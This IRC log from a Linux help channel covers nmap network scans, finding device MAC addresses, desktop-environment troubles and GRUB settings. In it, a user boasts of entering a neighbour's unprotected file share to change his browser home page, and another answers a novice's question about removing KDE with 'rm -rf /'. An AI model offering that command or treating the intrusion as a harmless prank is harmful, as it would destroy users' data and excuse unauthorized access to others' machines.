02:05 < scampbell> Load of fun talking someone over the phone into sun's boot manager and fixing it.
02:06 < GunqqerFriithian> jesus I hate dealing with people in person about non tech problems
02:06 < Pentode> scampbell, sounds like water boarding torture
02:06 < GunqqerFriithian> ^
02:06 < wizzi> what is better to scan devices on your network...nmap or arpscan ?
02:06 < wizzi> or another tool ?
02:07 < scampbell> Pentode: I surely could have been. I was pretty lucky that the fella on the other end knew he didn't know, followed instructions and related information.  We all know that incredibly rare.
02:07 < GunqqerFriithian> I use nmap, wizzi
02:07 < darkmeson> wizzi: Depends on what you're trying to do
02:07 < GunqqerFriithian> nmap works at least for me to scan for just connected devices on the local network
02:07 < darkmeson> nmap is more general-purpose, so it's the one most people go to
02:07 < Pentode> scampbell, yeah that's hurtle number one. it can break the whole thing. ;p
02:07 < wizzi> darkmeson, i want to know who is connecting on my network
02:08 < Pentode> "Oh hey I need help, bad.." OK, do this.. "No no, that's not going to work. I know it won't work."
02:08 < GunqqerFriithian> `nmap -sn <local ip with '/24' after>
02:09 < scampbell> Used to have a secretary in the old wordperfect days. not wysiwyg, just the color of text changed.  The secretary and liked purple and kept change all the highlight colors to purple then call us because here printed document looks like a ransom note.
02:09 < cmj> -sP works too
02:09 < GunqqerFriithian> if your devices local IP is like `67.253.31.194` you would do `nmap -sn 192.168.0.0/24`
02:09 < Pentode> haha
02:09 < GunqqerFriithian> I honestly don't know the diff, just that the one I use works for what I need
02:09 < darkmeson> nmap --osscan-guess -sP
02:09 < scampbell> I'm amazed you decoded that almost english I typed!
02:10 < cmj> wordperfect. haha
02:10 < darkmeson> I guess it's actually nmap -sF --osscan-guess when I'm trying to figure out particulars
02:10 < scampbell> Wordpefect, the folks that invented indoctrinating children to a word processor for profit.
02:11 < cmj> sudo nmap -O 192.168.1.0/24
02:11 < cmj> i had a brother™ typewriter
02:11 < scampbell> I had a... Teletype model 33 with paper tape reader!
02:12 < pnbeast> scampbell, it's good to see that big tobacco's lessons weren't lost on the rest of the world.
02:12 < scampbell> mechanically timed printing. You had to adjust a clutch to get the character set lined up.
02:12 < scampbell> pnbeast: truly
02:12 < wizzi> i got MAC of android device, how can i know this my device or no ?
02:13 < phogg> acresearch: bash is this way because it has to support POSIX sh which is that way because it was based on a compatible rewrite of bourne sh with extra features and bourne sh was that way because Stephen Bourne was a weird guy (and had to in turn be compatible with the Thompson sh).
02:13 < GunqqerFriithian> wizzi check in your phone's wifi/network settings to get it's MAC
02:13 < phogg> acresearch: as for why the Thompson sh is the way it is: that's probably because of the limits of what you could reasonably do the PDP11.
02:14 < cmj> fire up tshark
02:14 < wizzi> GunqqerFriithian is there another way ?
02:14 < swift110> oh goodnes
02:14 < swift110> sup pnbeast
02:14 < pnbeast> Rain.  Lots of rain.
02:15 < GunqqerFriithian> have your android device clone a MAC and then use nmap again and compare them
02:15 < scampbell> michigan. lots of rain here.
02:15 < GunqqerFriithian> idk
02:15 < swift110> yes lots of rain here as well scampbell
02:15 < cmj> i live in seattle; no rain
02:15 < cmj> wait i lied
02:15 < pnbeast> According to my weather map, only southern Michigan has rain.
02:16 < cmj> windy.com is good
02:16 < scampbell> michigan, I just need to wait an hour and the weather will change... for better or worse.
02:16 < scampbell> Yup.
02:16 < wizzi> GunqqerFriithian "have your android device clone " how can i do that ?
02:16 < GunqqerFriithian> ok with kde can you have certain things open when you log in and place them n specific workspaces
02:16 < scampbell> SE lake orion.
02:16 < pnbeast> And also, Seattle is about to get rain.
02:17 < GunqqerFriithian> wizzi that's a really hack-y solution and it's better to just  look through the device's network settings and find it's mac address
02:17 < phogg> acresearch: what I'm trying to say here is that nearly *any* sh script written since the mid 70s will run in modern bash. That's amazing, but it means there's some compromises that have to be made.
02:17 < scampbell> If that android device just got it's IP from your dhcp server then your server has it's mac (possibly useful)
02:18 < cmj> most phones give you it's mac addr in phone details
02:18 < GunqqerFriithian> yeah you can also log in to your router and most ones should be able to show connected devices
02:20 < scampbell> oddly this old Galaxy III does not.  of course it's terribly old.
02:20 < GunqqerFriithian> 9 times out of 10 just go to a browser and go to `192.168.0.1` and you should be able to log in to your router
02:21 < GunqqerFriithian> scampbell: even my ipod 2nd (maybe even 1st) gen shows it
02:21 < scampbell> cmj: I stand corrected, I did find the mac in menus. I would still yank it from a server because I don't wanna actually type id :)
02:21 < wizzi> GunqqerFriithian, i will tire you little ... can you tell me how can i clone my device and compare it ?
02:22 < GunqqerFriithian> that was more of a joke answer, while technically it works there are better ways of doing it
02:22 < GunqqerFriithian> best way to find out if people are using your network who shouldn't is count the connected devices, then figure out how many *should* be
02:22 < cmj> if it's a phone (andriod) it will be prefixed with android-foo in the dhcp tables
02:23 < scampbell> I used to leave an open wifi up and route it through a proxy mangler. Substitute urls  on queries, replace pictures with .. um.. stuff... way fun.
02:24 < GunqqerFriithian> LOL
02:24 < GunqqerFriithian> I kinda wanna do that but I live in the middle of nowhere
02:24 < wizzi> scampbell, haha that what i need :D
02:25 < scampbell> Yeah, I bought a house now.  I only have one neighbor that plays.  We change our ssid to weird stuff for fun.
02:25 < GunqqerFriithian> >Not having a hidden network in $CurrentYear
02:26 < cmj> airpwn is fun
02:26 < kurahaupo> scampbell: ah, you want the open wifi that proxies images and turns them slightly orange.
02:26 < kurahaupo> Or upside down.
02:26 < GunqqerFriithian> looking at how he phrased it it was much more interesting that just that
02:26 < scampbell> I had one neighbor that left their dogs outside in disgusting circumstance.  One night I noticed a open wifi come up while they are having a party.  Everthing wide open. I changed his browser home page to dogpoop.com
02:27 < cmj> you could do much more with airpwn
02:27 < kurahaupo> Or injects RTL marks into CSS
02:27 < scampbell> and I'm sure he thought it was one of his guests.
02:28 < wizzi> scampbell Haha, how did you that ?
02:28 < GunqqerFriithian> what's the legallity of setting up an open network and messing with the traffic like changing pics, etc
02:28 < scampbell> wizzi: he shared out his whole disk with no credentials.
02:29 < scampbell> windows guy.
02:30 < Pentode> GunqqerFriithian, if it's your network and you don't do anything illegal. probably nothing.
02:30 < scampbell> GunqqerFriithian: I doubt anyone could bring legal issue unless you were doing something like, oh, substituding gay porn for pics.
02:31 < Pentode> yeah if it winds up being a kid or something and you do that
02:31 < GunqqerFriithian> shit.
02:31 < Pentode> _then_ you could get in some deep shit
02:31 < GunqqerFriithian> slightly censored gay porn?
02:31 < scampbell> yup
02:32 < jimm> now,
02:34 < wizzi> scampbell, which tool did you use or the way you worked with
02:34 < jimm> I've been pretty lax about letting you folks go offtopic for a bit,,, ad mostly, you come right back.... and thats great
02:34 < jimm> but
02:34 < GunqqerFriithian> uh oh everyone scramble!
02:34 < jimm> the gay porn thing is pretty far afield :)
02:35 < GunqqerFriithian> it's tangentialy related :P
02:36 < jimm> if you put together a big enough system of pipes, anything can be related :)
02:36 < GunqqerFriithian> |
02:36 < GunqqerFriithian> ||||||||
02:36 < GunqqerFriithian> that enough pipes?
02:36 < scampbell> sorry, I was just making the point that there are thing that could certainly get someone in trouble.
02:36 < jimm> so...
02:36  * scampbell is done.
02:36 < jimm> just relax
02:36 < jimm> take a few breaths
02:37  * GunqqerFriithian starts hyperventalating
02:37  * Pentode was just giving legal advice *scrambles for his get out of jail free card*
02:37 < GunqqerFriithian> >legal advice
02:37 < GunqqerFriithian> >get out of jail free card
02:37 < jimm> you're doing it QRONG!! BAP!! owwwwwww!
02:38 < GunqqerFriithian> more pipes?
02:38 < jimm> less hyperventilating!
02:38 < GunqqerFriithian> just put small particles in the air then I won't be able to breath so I won't hyperventilate because I can't ventilate!
02:39 < scampbell> wizzi: that was just a ini file edit back then so it was stupid easy.
02:39 < cr0w3> *brown bags paper bags for all*
02:39 < jimm> sounds unhealthy :P
02:40 < GunqqerFriithian> my life in a nutshell ^
02:43 < wizzi> how to change DNS records ?
02:44 < scampbell> wizzi:  which DNS records?
02:48 < wizzi> scampbell, like changing google with another site "i found the idea but i can't practice it "
02:48 < wizzi> sacmpbell : look at that, https://www.quora.com/How-can-I-kick-someone-off-my-WiFi-I-dont-want-NetCut-or-to-change-the-password/answer/David-Seidman
02:49 < scampbell> wizzi: simplest would be to just dnat the ip address on the way out.
02:51 < wizzi> scampbell, how can i do that ?
02:52 < scampbell> wizzi: with iptables. I'll cook up a small example here.
02:54 < wizzi> scampbell, okay
02:54 < scampbell> wizzi: iptables -t nat -A OUTPUT -d 1.2.3.4 -j DNAT --to-dest 5.6.7.8    that would send all traffic heading to 1.2.3.4 to 5.6.7.8 instead.
02:55 < scampbell> wizzi: that would only affect your machine, not others.
02:57 < wizzi> scampbell this will send traffic of all devices on the same network ?
02:57 < scampbell> wizzi: to do that you must do it at the router.  As I said that will only affect your machine (unless you are the router)
02:59 < wizzi> scampbell, and how can i do it with a device that i choose?
03:00 < ioerror88> ls
03:01 < pnbeast> home dev var etc lib bin sbin
03:01 < ioerror88> Damn this terminal is laggy
03:01 < GunqqerFriithian> what terminal?
03:01 < scampbell> wizzi: you mean nefariously?  There are many terrible things one can do to a network but that's certainly off topic here. You could ask in ##networking but I suspect most folks don't want to spread that stuff around.  It's just hurtfull.
03:01 < pnbeast> I'm typing as fast as I can!
03:05 < ayjay_t> anyone familiar with files in $HOME of the name .saves-#####-localhost and where they might come from?
03:05 < GunqqerFriithian> there are multiple of them?
03:06 < wizzi> scampbell, yeah it is but i should be ready for meddlesome :) ...thank you and i'll return if i had problems with that
03:06 < ayjay_t> there's one, with a list of files
03:06 < scampbell> wizzi: yup, at work we've had wild network wars.
03:06 < darkmeson> you could try running fuser on them or checking the output of lsof to see if the creator still has them open
03:06 < autopsy> fuser and lsof
03:07 < autopsy> H i plonk.
03:07 < scampbell> ayjay t: perhaps the timestamp on them are a hint.
03:08 < ayjay_t> hmm yeah they're a bit old... 3 days... fuser and lsof show nothing damn
03:08 < ayjay_t> DELETE
03:08 < ayjay_t> if someone misses them then i can find out who wants them XD
03:08 < GunqqerFriithian> sudo rm -f
03:09 < GunqqerFriithian> I suggest moving it to ~/tmp or something
03:09 < scampbell> And then beat them silly for the useless file name :)
03:09 < GunqqerFriithian> pidgin uses ~/.purple
03:09 < GunqqerFriithian> I wanna hurt them over that
03:09 < autopsy> ~/.purple wow.
03:10 < GunqqerFriithian> honestly I hate any software that just drops it's files in ~/.<Name> and doesn't let you speicify
03:10 < ayjay_t> any software dumping files in $HOME should be constrained a directory of their own name
03:10 < ayjay_t> i've gotten into the habit of making specific users for particularly unscrupulous packages so i can see what they do to my well-managed $HOME
03:11 < autopsy> Google Chrome uses .cache
03:11 < pfred1> GunqqerFriithian so, you're not a big fan of the XDM standard?
03:11 < scampbell> Why are many users in your $HOME?
03:11 < ayjay_t> i think that .config/appname .cache/appname is fine
03:11 < Psi-Jack> Actually ~/.cache/google-chrome
03:11 < GunqqerFriithian> well if they say "lol just drop shit in $HOME" yeah that's shit
03:11 < GunqqerFriithian> I have ~/.eve and ~/.EVE wtf
03:12 < ayjay_t> its really when you get someone who ported a windows program to linux, since every program that installs in windows treats its like a raid
03:12 < autopsy> Evince?
03:12 < ayjay_t> scampbell: each user has their own home
03:12 < GunqqerFriithian> EVE online
03:12 < scampbell> okay, I knew that sounded odd!
03:12 < pfred1> is she?
03:12 < GunqqerFriithian> yes
03:12 < ayjay_t> haha no i just meant $HOME as in whichever $HOME is relevant at the time
03:12 < Psi-Jack> Oh, EVE finally got an actual Linux client?
03:12 < pfred1> she a THOT?
03:12 < scampbell> not that I havent' seen such before.
03:12 < ayjay_t> $THOT
03:12 < GunqqerFriithian> emily, however, is away
03:13 < autopsy> Aww Emily.
03:13 < scampbell> ayjay_t: do you run process accounting?
03:13 < Psi-Jack> Oh, unofficial. Meh.
03:14 < scampbell> you could match the user's jobs against the timestamp and get a pretty good idea if not the direct hit.
03:17 < acresearch> people i realised something in xfce,   if i highlight several files and press enter only the last one opens not all of them. how can i change that?
03:18 < pfred1> acresearch you can open them one at a time
03:19 < ayjay_t> scampbell: i'm not sure exactly what you mean, but i have a script that checks to see if my $HOME changes
03:20 < scampbell> ayjay_t:  process accounting writes a record for every process that runs.   I was asking if you were running that because then we could match those files timestamp and user against that and see what program it was.
03:21 < scampbell> ayjay_t:  If you are watching over many folks, I suggest taking a look at process accounting and sar.
03:21 < scampbell> ayjat_t: sar being systat actually.
03:21 < ayjay_t> interesting
03:21 < ayjay_t> added to my to do list
03:40 < testerbeta> hi
03:41 < testerbeta> who had used testdisk (i need recover some crypt12 files)
03:41 < testerbeta> anf photorec can handle it
03:52 < darkmeson> It can, provided the space they were occupying wasn't overwritten in the meantime and it was on a supported filesystem
04:26 < L3gacy> Good evening and good bacon to all!
04:26 < L3gacy> Has anyone seen Wendel Tron's linux super cert course on UDEMY?
04:27 < Sitri> 651 people have
04:28 < L3gacy> It's 9.99.   I had to snag a bit
04:29 < Dan39> sounds like a waste of money
04:29 < L3gacy> How so?
04:30 < Dan39> was it on sale or something?
04:31 < Dr_Coke> triceratux
04:31 < L3gacy> Yes.  Normally 179.99
04:31 < Dr_Coke> jim
04:31 < Dan39> exactly
04:31 < Dr_Coke> Psi-Jack
04:31 < Dr_Coke> everyone Hello
04:31 < Dr_Coke> Hi Sveta
04:31 < Dan39> so now you spent $10 on something you probably don't need, just because it was on sale
04:31 < L3gacy> Need to learn Linux support for work
04:32 < Dr_Coke> really?
04:32 < Dan39> new job?
04:32 < Dr_Coke> How deep do you need to go?
04:32 < L3gacy> I see a rabbit hole
04:32 < L3gacy> *dives in*
04:32 < ayecee> giggity
04:33 < L3gacy> I need a certain grasp of the basics, plus some more advanced knowledge
04:33 < Dr_Coke> Do you need to get certified?
04:33 < Dan39> that course looks like it barely gets the basics
04:34 < L3gacy> I do need a certification
04:34 < Dan39> lol wtf is with the name of the course
04:34 < Dan39> super cert prep
04:35 < Dan39> then in the intro video he says "is not sufficient to obtain any linux cert"
04:35 < Dr_Coke> What is the name of the certification you need?
04:35 < Dan39> -_-
04:35 < Dr_Coke> lol
04:36 < L3gacy> This is for the basics
04:36 < Dr_Coke> Linux essentials ?
04:36 < L3gacy> I will go for my RH certs soon
04:36 < L3gacy> I still need to seat my CCENT
04:37 < CrazyTux> hello, does installing KDE Plasma on Mate or Xfce create any conflicts?
04:37 < CrazyTux> are they incompatible?
04:37 < L3gacy> Speaking of which.... I need to get this LAMP box back online
04:37 < Dr_Coke> CrazyTux what distro are you running?
04:38 < CrazyTux> after installing KDE Plasma on Manjaro xfce, the xfce panels, icons seem to be blurred.
04:38 < Pentode> CrazyTux, this happens sometimes when the padding / panel size isnt optimal for the size of the icon being used.
04:39 < Pentode> try changing the panel size up and down by one pixel until the icons clear up
04:39 < CrazyTux> and I am using Ubuntu Mate 18.04 also on which I installed KDE Plasma. I am not able to use usb tetharing for internet when I log into plasma. But, it works when I log into Mate.
04:40 < Dr_Coke> CrazyTux I tried installing kde desktop on debian with xfce and made it was a total nightmare
04:40 < Pentode> kde is somewhat of a nightmare in itself
04:40 < Dr_Coke> things got screwed up and left behind when I went to get rid of it
04:40 < Dr_Coke> Pentode lol
04:40 < Dr_Coke> I agree
04:40 < CrazyTux> so, what is the solution?
04:41 < Dr_Coke> Don't install kde
04:41 < CrazyTux> should I completely remove KDE Plasma?
04:41 < Dr_Coke> If you want kde download a distro with kde
04:41 < Dr_Coke> only perhaps
04:41 < CrazyTux> ok.
04:41 < Dr_Coke> Like the KDE spin of the distro
04:42 < CrazyTux> but, as you said, is KDE unstable?
04:42 < Dr_Coke> CrazyTux KDE Neon is supposed to be good
04:42 < Pentode> i think it is. but i havent used it in a few years.
04:42 < Dr_Coke> but I found it came with the bare minium and didn't give me my wifi drivers
04:43 < CrazyTux> can I install just KDE Connect and use it other DEs?
04:43 < Pentode> every kde distro i installed i experienced apps dropping out within the first hour or two of using it
04:43 < Dr_Coke> so I was pretty screwed
04:43 < Dr_Coke> CrazyTux I wouldn't use KDE myself
04:43 < Pentode> CrazyTux, the problem is that in order to use it you need 70% of KDE in itself
04:44 < Dr_Coke> Be nice if they made a cinnamon connect
04:44 < Dr_Coke> and a xfce connect
04:44 < Pentode> thats a random uneducated guess, it could be more like 30% or 40% or 50% but it's _more_ than you would like, lets just put it that way. ;p
04:44 < CrazyTux> ok. Please suggest a command to completely remove KDE Plasma.
04:44 < CrazyTux> without any trace of it.
04:44 < Dan39> rm -rf /
04:44 < Pentode> lol
04:44 < Dr_Coke> repartition your hard drive
04:44 < Dr_Coke> and format it
04:45 < Pentode> yeah i dont know it's tainted now man ;p
04:45 < Dr_Coke> or just format the linux partition it was on
04:45 < Dr_Coke> and reinstall something different
04:46 < Dr_Coke> CrazyTux I know because I had the same issue
04:46 < CrazyTux> Dr_Coke,  is that suggestion for me?
04:46 < Dr_Coke> yeah man
04:46 < Dr_Coke> I had debian 9 with xfce and installed kde
04:46 < Dr_Coke> and couldn't get rid of it
04:47 < CrazyTux> ok. I don't want to install again.
04:47 < Dr_Coke> it actually screwed things up
04:47 < CrazyTux> oh
04:47 < Dr_Coke> I couldn't remove everything kde completely
04:47 < Bashing-om> CrazyTux: Removing an installed DE is a daunting task; for instance lubuntu: http://www.psychocats.net/ubuntu/purelubuntu .
04:47 < Dr_Coke> and so the only option was for me to just get rid of everything and start again
04:50 < CrazyTux> ok
04:53 < Bashing-om> CrazyTux: I have not aplied this so I can not personally vouch for it: https://github.com/aysiu/purebuntu .
04:57 < Pentode> neat
05:04 < CrazyTux> ok
05:12 < autopsy> Gosh its quiet in here tonight.
05:16 < CrazyTux> which one is the most stable D?
05:16 < CrazyTux> DE?
05:16 < autopsy> Gnome 3.26 is pretty stable.
05:16 < ikonia> STOP ASKING !!!
05:16 < CrazyTux> among all the available ones
05:16 < ikonia> CrazyTux: every single week you ask "which is best"
05:16 < ikonia> pick which one YOU like
05:16 < ikonia> and stick with it, you ask this question every single week
05:16 < CrazyTux> ikonia, I asked about the DE.
05:16  * Wulf is best. End of discussion.
05:16 < Disconsented> CrazyTux> There isnt
05:16 < ikonia> yes,
05:17 < ikonia> CrazyTux: and you ask every single week
05:17 < autopsy> Every week lolz.
05:17 < ikonia> for the past 18 months
05:17 < ikonia> pick which one you like and stick with it
05:17 < autopsy> Wow.
05:18 < CrazyTux> I tried KDE Plasma. But, usb tetharing was not working on it.
05:18 < ikonia> yes, you said that
05:18 < ikonia> CrazyTux: what desktop do you actually LIKE
05:18 < autopsy> CrazyTux, I got USB tethering on Gnome 3.26 Fedora 27.
05:19 < CrazyTux> ikonia, I tried KDE Plasma because I found KDE Connect quite useful. But, after installing KDE things on other DEs got messed up.
05:19 < ikonia> CrazyTux: what desktop do you actually LIKE
05:20 < CrazyTux> ikonia, I like the one that is stable and consistent.
05:20 < ikonia> you like KDE, is that what you are saying ?
05:20 < ikonia> just to clarify
05:20 < bls> ikonia: there's no point in trying to reason
05:20 < CrazyTux> ikonia, and I don't know which one is most stable.
05:20 < ikonia> bls: I should know better
05:20 < FMan> hi
05:20 < autopsy> Hi FMan
05:21 < CrazyTux> ikonia, btw, which one are you using now?
05:21 < FMan> do I use the crontab command to make myself a tab to cron?
05:21 < ikonia> CrazyTux: it doens't matter what I use
05:21 < CrazyTux> bls, what about you?
05:21 < ikonia> FMan: tab ?
05:21 < FMan> as I recall it save it to the etc cron spool dir and activates automatikcally?
05:21 < Wulf> FMan: crontab -e
05:21 < ikonia> CrazyTux: I think you're starting to become a troll now
05:21 < ikonia> CrazyTux: every week for the past 18 months you have this conversation in this channe
05:21 < ikonia> channel
05:21 < CrazyTux> ikonia, no. I am asking seriously.
05:21 < ikonia> either you're trolling - or you're not paying attention
05:22 < ikonia> either way, it's getting really tedious now
05:22 < CrazyTux> ikonia, I just want a stable and complete DE.
05:22 < FMan> ah, yes, the -e option, and when saved it will signal crond that there is a new or edited tab?
05:22 < ikonia> CrazyTux: then why do you keep changing desktops ?
05:22 < CrazyTux> without these annoying bugs.
05:22 < ikonia> CrazyTux: why don't you just work with one - as you've been told 100+ times
05:22 < ikonia> CrazyTux: every distro/desktop will have a bug you have to fix to get it how you like it
05:22 < ikonia> as you've been told - multiple times
05:23 < ikonia> CrazyTux: you hit a problem, you fix it, you don't swap distros/desktop
05:23 < CrazyTux> ikonia, as I said earlier, I thought KDE had some useful tools.
05:23 < ikonia> my god, I can't believe you're being told this again
05:23 < ikonia> CrazyTux: then use KDE
05:23 < CrazyTux> ikonia, ok
05:24 < ikonia> CrazyTux: do you understnad how annoying it is to have this conversation with you every week
05:24 < CrazyTux> ikonia, ok. Leave that.
05:24 < ikonia> no
05:24 < lnnb> stable and complete, try CDE
05:25 < ikonia> CrazyTux: do you actually understand how annoying it is to keep asking the same question over and over
05:25 < CrazyTux> lnnb, what is that?
05:25 < ikonia> CrazyTux: is there a reason you are repeating the same pattern over and over
05:25 < ikonia> CrazyTux: rather than follow the advice of sticking what you like and making it work
05:25 < CrazyTux> ikonia, ok.
05:25 < ikonia> CrazyTux: is there a reason this conversation is repeated every single week in this channel with you
05:25 < ikonia> CrazyTux: "ok" is not the response to that question
05:25 < FMan> I shall try and see
05:26 < ikonia> CrazyTux: why do you ignore the advice you are given every single week
05:26 < CrazyTux> ikonia, I will stick to one.
05:26 < ikonia> CrazyTux: you've said this 50+ times
05:26 < ikonia> CrazyTux: why do you continue to ignore this advice ?
05:26 < bls> "interesting" "tell me more" "and how does that make you feel?"
05:26 < CrazyTux> ikonia, btw, installing multiple DEs creates any problems like this?
05:26 < ikonia> CrazyTux: why do you continue to ignore this advice ?
05:27 < lnnb> CrazyTux: http://lmgtfy.com/?q=cde+desktop
05:27 < CrazyTux> I could use usb tetharing on Mate but not on KDE.
05:27 < ikonia> CrazyTux: stop installing multiple desktops - as you've been told 100+ times
05:27 < ikonia> CrazyTux: install the distro that provides the desktop you want
05:27 < ikonia> CrazyTux: you've said that 3 times already
05:27 < ikonia> CrazyTux: is there a reason you ignore the inforamtion and just keep talking
05:27 < ikonia> CrazyTux: why do you continue to ignore this advice ?
05:29 < ikonia> CrazyTux: I'd really like to know why you continue to ignore the advice you are given and keep asking the same question in this channel
05:29 < ikonia> CrazyTux: could you explain why you ignore the advice, what is the problem ?
05:29 < CrazyTux> ikonia, ok. For one last time, please suggest a DE that is most convenient to use for a newbie, for home and office use.
05:29 < ikonia> CrazyTux: you've tried every desktop - what do YOU like
05:29 < ikonia> CrazyTux: why do you continue to ignore this advice ?
05:30 < CrazyTux> ikonia, I am not ignoring.
05:30 < ikonia> CrazyTux: then why do you ask every week "what is the best"
05:30 < ikonia> if you're not ignoring - why do you continue the same question every week for the past 18 months
05:30 < pnbeast> ikonia, has this exciting episode of multiplayer notepad gotten you all worked up?  Plonk him!
05:31 < ikonia> pnbeast: I'd like it to end to be honest it's really tedious to see this every week from him
05:31 < CrazyTux> ok. I will leave now.
05:31 < ikonia> I'd like to know if there is actually a problem causing this
05:31 < ikonia> or is he just trolling
05:31 < ikonia> CrazyTux: no - because you'll come back next week and do the same
05:31 < ikonia> CrazyTux: why do you ignore the advice ?
05:31 < CrazyTux> ikonia, no.
05:31 < ikonia> CrazyTux: what stops you actually following what you've been told ?
05:32 < CrazyTux> ikonia, I asked for a solution for that issue of usb tetharing not working. I was told that KDE is a mess and that I should change to some other DE.
05:33 < CrazyTux> that is why I asked
05:33 < ikonia> CrazyTux: yes, I saw that, that wasn't my question
05:33 < ikonia> CrazyTux: why do you ignore the advice you're given every week of sticking with what you like and fixing the problems
05:33 < ikonia> CrazyTux: you where using XFCE, Mate, Cinemmon, now all of a suden KDE
05:33 < ikonia> you swap distros/desktops every 5 minutes and keep asking "whats the best"
05:33 < ikonia> CrazyTux: what is the thing stopping you following the advice ?
05:34 < CrazyTux> ikonia, that is the problem. I don't want to keep fixing the things. Some things like usb tetharing are quite basic, I think.
05:34 < ikonia> CrazyTux: was it working in MATE ?
05:35 < CrazyTux> I want a distro and a DE that is completely OOTB.
05:35 < ikonia> CrazyTux: was it working in MATE ?
05:35 < CrazyTux> ikonia, yes. it was.
05:35 < Dan39> CrazyTux: thats called windows, kthnxbye
05:35 < ikonia> CrazyTux: then why did you swap from MATE
05:35 < autopsy> CrazyTux, you want Fedora 27 LiveDVD
05:35 < ikonia> CrazyTux: if it was working - why did you swap ?
05:36 < CrazyTux> ikonia, I liked KDE Connect and found it quite useful.
05:36 < ikonia> CrazyTux: so you swapped a whole desktop enviornment for KDE connect - and then found out it was broken
05:36 < CrazyTux> ikonia, yes.
05:36 < ikonia> CrazyTux: do you see the logic on that, ? you threw out your whole desktop environment for one app
05:37 < ikonia> CrazyTux: honestly, I think you'd actually do better on a windows desktop, seriously
05:37 < CrazyTux> ikonia, I thought that KDE probably has more such useful apps.
05:37 < ikonia> CrazyTux: "probably"
05:37 < ikonia> so you did no reasearch
05:37 < ikonia> you just did yet another random install
05:38 < CrazyTux> ikonia, so, installing multiple DEs is not recommended, then?
05:38 < ikonia> CrazyTux: for you - no
05:38 < ikonia> CrazyTux: you break it every time
05:38 < ikonia> as you've been told multiple times
05:38 < ikonia> (I've lost count how many times now)
05:39 < ikonia> CrazyTux: buy a windows license, I honestly think this will suit your needs better
05:39 < ikonia> and your workflow
05:39 < [R]> so i watched oceans 8... the "hacker" was using a graphical environment logged in as root
05:40 < [R]> when will hollywood ever learn...
05:40 < doxinho> when will they use sudo!!?!?
05:41 < Dan39> sudo!? when will the GUI app developers learn to use policykit!?
05:45 < autopsy> Dan39++
05:46 < TheNH813> How do I fix this:
05:46 < TheNH813> Cannot indicate to EFI to boot into setup mode: Operation not supported
05:46 < TheNH813> I tried using systemctl to enter setup
05:47 < TheNH813> Is there a way to enable rebooting into efi from Linux?
05:47 < TheNH813> My problem is with ultra fastboot enabled the delay to press delete is way too fast.
05:47 < TheNH813> The OS boots in seconds, which is normally a good thing, except not right now.
05:48 < [R]> TheNH813: what command did you run
05:48 < TheNH813> [R]: sudo systemctl reboot --firmware-setup
05:48 < TheNH813> OS is Arch Linux. Forgot to mention that.
05:49 < pnbeast> Yeah, [R].
05:49 < [R]> sounds like your systemd isn't set up to d otaht
05:50 < TheNH813> Hmmmm... maybe grub isn't installed as EFI.
05:50 < TheNH813> That thought hadn't occured to me.
05:53 < TheNH813> Actually, I think I'l unlplug all the drives so it can'
05:53 < TheNH813> Can't boot anything. I know I'l get the menu then.
05:53 < TheNH813> Sorry for asking a question I answered myself.
05:54 < darkmeson> At least you followed up
06:06 < autopsy> I have join/part messages suppressed.
06:49 < ellyacht>  could someone tell the linux eqivalent to setting grub menu to default? I tried 'sudo gedit /etc/default/grub
06:51 < [R]> ellyacht: what?
06:52 < ellyacht> I need to set the grub menu at boot to defualt
06:52 < [R]> "To default"?
06:52 < ellyacht> I tried gedit /etc/default/grub
06:53 < autopsy> ellyacht, what do you mean to default?
06:54 < cmj> default to last-used kernel?
06:55 < [R]> i love the "lets guess random crap" game
06:55 < ellyacht> autopsy: I mean currently when I ever I boot into linux it runs in software rendering mode and I can't for the life of me get back into the grub edit menu at boot up so I figured I would do it via terminal
06:56 < horseface> which is a good media player similar to lollypop in apppearance and etc?
06:56 < horseface> i like lollypop but it cant show all tracks on the one screen...
06:56 < [R]> what is lollypop
06:57 < ellyacht> cmj: sure
06:59 < cmj> when you boot, you don't get the grub menu? presumably some keypress is needed
06:59 < cmj> shift, tab, whatever ubuntu does
06:59 < ellyacht> cmj: yes presumably but I can not figure out which... I have tried 'e' 'tab' 'shift' so far nothing
06:59 < ellyacht> cmj:
06:59 < ellyacht> cmj:  lol
07:04 < cmj> looks like you need to adjust hidden and timeout variables in /etc/default grub, do update-grub2 after the edit
07:09 < ellyacht> cmj: I did update grub I am going to try and restart
07:11 < cmj> http://termbin.com/m5x6 you need to set the timeout to something other than zero
07:14 < dvvdv> Should I install Linux Mint in MATE or Cinnamon?
07:14 < [R]>  dvvdv whichever one you prefere
07:15 < dvvdv> is the new beta better in any way?
07:16 < [R]> well, its new...
07:25 < realbadhorse> is there a steam support channel?
07:30 < pingfloyd> realbadhorse: check with alis
07:30 < sauvin> realbadhorse, /msg alis help
07:31 < pingfloyd> wonder why they named it alis instead of alist
07:37 < eblip> hi autopsy
07:51 < autopsy> Hi eblip.
07:59 < Triffid_Hunter> is it just me or is virtualbox.org broken at the moment? I'm just getting connection reset in headers
08:04 < RayTracer> Triffid_Hunter: it's not just you
08:08 < notmike> cottage cheese so nasty
08:12 < pingfloyd> no doubt
08:12 < pingfloyd> oh yum! salty curdled milk!
08:12 < pingfloyd> gross
08:12 < pingfloyd> might as well just let your milk in the fridge expire and then eat it as a side while at it.
08:13 < pingfloyd> just add a bit of salt, boom! cottage cheese!
08:13  * epicmetal bans pingfloyd from his kitchen
08:14 < pingfloyd> maybe they named it cottage cheese, because you have to live in a cottage out in bum fuck egypt to be that desperate to consider it cheese.
08:14 < epicmetal> pingfloyd: hey, you're aussie?
08:14 < pingfloyd> nope
08:15 < jim> pingfloyd. careful with language please :)
08:21 < notmike> cottage cheese + peanut butter is ok
08:21 < notmike> I'll probably add some fruit, cinnamon, and/or cocoa next time
08:28 < kurahaupo> What's with the perversion of putting sweetener in peanut butter? Chilli yum, salt ok, vinegar good, beef wonderful; but jam? honey? Eurghk! Chocolate? How to ruin two wonderful things by mixing them together into an blasphemous concoction.
08:29 < pankaj_> There are so many modules get listed when typed 'lsmod' but how to get information about what specific does these modules do and how to handle them? Also, most of the important are already build inside kernel and also their are external services run by sysvinit or systemd. In what respect these kernel modules (externally loaded) are important and different?
08:29 < kurahaupo> Oh, sorry, wrong window
08:30 < kurahaupo> (##linux is right next to ##llamas)
08:30 < sleepyhead> pankaj_: is this a homework question?
08:30 < pingfloyd> notmike: would be better if you remove the cottage cheese from that
08:31 < pingfloyd> notmike: such a waste of peanut butter, chocolate, and cinnamon
08:31 < iodev> pankaj_: google!! gooogle! google!
08:31 < notmike> pankaj_: restate the question
08:31 < iodev> when will people understand! the answer to all tech questions is google!
